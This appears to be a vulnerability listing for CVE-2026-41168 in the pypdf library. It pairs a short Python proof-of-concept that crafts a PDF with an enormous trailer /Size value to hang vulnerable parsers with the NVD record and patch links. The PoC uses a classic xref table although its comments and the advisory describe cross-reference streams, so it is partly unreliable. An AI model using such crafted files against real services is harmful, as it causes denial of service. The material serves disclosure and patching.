CVE-2026-41168

import io # Conceptual PoC to create a malformed PDF with a large /Size in XRef stream # This requires raw binary manipulation to bypass pypdf's writer validation # or simply crafting bytes. malformed_pdf = b"""%PDF-1.7 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (Hello) Tj ET endstream endobj xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000204 00000 n trailer << /Size 9999999999 /Root 1 0 R >> startxref 286 %%EOF """ # To test, save 'malformed_pdf' to a file and open with pypdf < 6.10.1 # It will hang or crash due to the huge /Size in the trailer or XRef stream. with open('exploit.pdf', 'wb') as f: f.write(malformed_pdf) print("Malformed PDF generated. Attempting to parse with vulnerable pypdf...") try: # Assume pypdf is installed and vulnerable from pypdf import PdfReader reader = PdfReader('exploit.pdf') print("Number of pages:", len(reader.pages)) except Exception as e: print(f"Error (expected due to DoS condition): {e}")

{"cve": {"id": "CVE-2026-41168", "sourceIdentifier": "[email protected]", "published": "2026-04-22T21:17:09.450", "lastModified": "2026-04-24T13:07:24.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.1 can craft a PDF which leads to long runtimes. This requires cross-reference streams with wrong large `/Size` values or object streams with wrong large `/N` values. This has been fixed in pypdf 6.10.1. As a workaround, one may apply the changes from the patch manually."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-834"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.10.1", "matchCriteriaId": "88A41C7B-AA35-4965-A07C-81DE1E8F5939"}]}]}], "references": [{"url": "https://github.com/py-pdf/pypdf/commit/62338e9d36419cf193ccec7331784f45df1d70b3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/py-pdf/pypdf/pull/3733", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/py-pdf/pypdf/releases/tag/6.10.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-jj6c-8h6c-hppx", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}